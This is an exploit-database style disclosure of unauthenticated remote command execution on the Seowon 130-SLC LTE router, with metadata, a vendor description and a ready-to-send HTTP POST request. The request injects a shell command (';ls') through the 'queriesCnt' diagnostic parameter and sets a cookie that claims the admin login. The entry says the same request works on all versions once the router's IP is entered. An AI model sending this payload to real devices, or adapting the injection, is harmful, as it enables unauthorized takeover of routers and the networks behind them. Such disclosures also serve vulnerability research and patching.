Seowon 130-SLC router - 'queriesCnt' Remote Code Execution (Unauthenticated)

# Exploit Title: Seowon 130-SLC router - 'queriesCnt' Remote Code Execution (Unauthenticated)
# Date: 2021-09-15
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: http://www.seowonintech.co.kr
# Software Link: http://www.seowonintech.co.kr/en/product/detail.asp?num=150&big_kindB05&middle_kindB05_29
# Version: All Version
# Tested on: Windows 10 Enterprise x64 , Linux

# [ About - Seowon 130-SLC router ] :

#The SLC-130 series are all-in-one LTE CPE that delights you in handling multi-purpose environments that require data and WiFi,
#Its sophisticated and stable operation helps you excel yourself at office and home,
#Improve communication with excellence and ease your life.

# [ Description ]:

#Execute commands without authentication as admin user ,
#To use it in all versions, we only enter the router ip & Port(if available) in the request
#The result of the request is visible on the browser page

# [ Sample RCE Request ] :

POST / HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Cyberfox/52.9.1
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.1.1:443/diagnostic.html?t=201701020919
Content-Length: 183
Cookie: product=cpe; cpe_buildTime=201701020919; vendor=mobinnet; connType=lte;
cpe_multiPdnEnable=1; cpe_lang=en; cpe_voip=0; cpe_cwmpc=1; cpe_snmp=1; filesharing=0;
cpe_switchEnable=0; cpe_IPv6Enable=0; cpe_foc=0; cpe_vpn=1; cpe_httpsEnable=0;
cpe_internetMTUEnable=0; cpe_opmode=lte; sessionTime=1631653385102; cpe_login=admin
Connection: keep-alive

Command=Diagnostic&traceMode=trace&reportIpOnly=0&pingPktSize=56&pingTimeout=30&pingCount=4&ipAddr=&maxTTLCnt=30&queriesCnt=;ls&reportIpOnlyCheckbox=on&btnApply=Apply&T=1631653402928